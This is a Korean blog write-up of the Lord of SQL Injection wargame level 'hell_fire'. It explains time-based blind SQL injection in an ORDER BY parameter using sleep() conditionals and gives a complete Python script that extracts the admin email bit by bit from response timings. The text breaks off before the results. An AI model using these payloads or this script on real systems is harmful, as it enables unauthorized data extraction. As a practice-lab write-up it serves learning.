Web Hacking/LOS

Lord of SQL Injection - hell_fire

Lucvs 2021. 8. 26. 09:00

드디어 table이 시각적으로 출력되기 시작하였다. query문도 order by 를 통하여 정렬하는 query문으로 변경되었다. 문자열 필터링에서 sleep, benchmark 가 빠진 것을 보아 time-based sql injection 에 관한 문제인 것 같다.

 

Time-Based SQL Injection 이란, query문에 시간을 delay 시키는 함수, sleep/benchmark 등을 사용하여 요청에 대한 응답시간을 의도적으로 지연시키는 방법이다.

 

어떻게 사용하는 것인가? 우선 문제에 간단하게 테스트해보자.

 

 

?order=1

위와 같이 query 를 전달할 경우, 1번 column, 즉 id column 을 기준으로 table 이 정렬된 것을 볼 수 있다. admin 의 email 주소는 php 코드에 의하여 asterisk(*)들로 가려져 있다. 우리는 table에 접근하여 정보를 빼낼 것이기 때문에 blind injection 을 수행하면 된다.

 

가려져 있는 것은 문제가 되지 않는다.

 

이제 sleep 함수를 이용하여 의도적으로 응답시간을 어떻게 지연시킬 수 있는지 알아보자. 우선 조건문을 활용할 것이다. 우리가 확인하고 싶은 값을 조건문에 넣고 참일 경우에만 sleep을 시키면서 응답지연을 확인하면 된다. 

 

 

?order=if(id='admin' and length(email)<100,sleep(3),1)

위와 같이 query를 전달했을 경우, 노란색으로 밑줄 친 영역에 보이듯이 응답시간이 3.17초라는 시간이나 걸린 것을 확인할 수 있다. 의심스러운 부분이 있기 때문에 조건문이 참이 아닐 경우도 해보겠다.

 

?order=if(id='admin' and length(email)<100,sleep(3),1)

무려 51ms 밖에 소요되지 않았다. 이것으로 우리가 체크해야할 부분은 끝났다고 본다. 기존에 하던대로 email의 length와 Brute Force를 이용한 공격밖에 남지 않았다.

 

이전 코드와 바뀐게 있다면, 우리는 Time-Based SQL Injection 을 수행할 것이기 때문에 파이썬에서 흔히 쓰는 time이라는 module을 사용하여 페이지 응답시간을 체크할 것이다. 이번에도 bit-by-bit 작업을 할 것이다. 아 그리고 코드를 짜면서  j != 1  이라는 부분이 있는데, 이것은 j=1, 즉 해당 글자가 NULL 값이라는 것을 의미하기 때문에 아래 반복문을 진행할 필요없이 넘기면 되기 때문이다.

 

# Lord of SQL Injection - hell_fire

import requests
import time

requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
header  = {'Cookie': 'PHPSESSID='}
session = requests.session()



# Check Length of PW
pw_length = 0
start = 0
end   = 0

for i in range(0, 100):
    payload = "?order=if(id='admin' and length(email)=" + str(i) + ",sleep(1),1)"
    
    start = time.time()
    res   = session.get(url = org_url + payload, headers=header, verify=False)
    end   = time.time() - start
    
    if end > 1:
        pw_length = i
        print("Length of PW is [ %d ]\n" % i)
        break

        

# Check Bit_Length of PW & Brute Force
pw_bit_length = 0
password_bit  = ''
password      = ''

for i in range(1, pw_length + 1):
    for j in range(0, 20):
        payload = "?order=if(id='admin' and length(bin(ord(substr(email," + str(i) + ",1))))=" + str(j) + ",sleep(1),1)"
        
        start = time.time()
        res   = session.get(url = org_url + payload, headers=header, verify=False)
        end   = time.time() - start

        if (end > 1) and (j != 1):
            pw_bit_length = j
            print("[%d-th] Bit_Length of PW is [ %d ]" % (i, j))
        
            for k in range(1, j + 1):
                payload = "?order=if(id='admin' and substr(bin(ord(substr(email," + str(i) + ",1)))," + str(k) + ",1)=1,sleep(1),1)"
                
                start = time.time()
                res   = session.get(url = org_url + payload, headers=header, verify=False)
                end   = time.time() - start

                if end > 1:
                    password_bit += "1"
    
                else:
                    password_bit += "0"

            print(password_bit + "->" + chr(int(password_bit, 2)))
            password += chr(int(password_bit, 2))
            password_bit = ''
            break
                
                

# Result
print("\n\nRESULT\n------------------")
print("PW --> %s\n" % password)

 

코드에 대한 결과는 다음과 같다.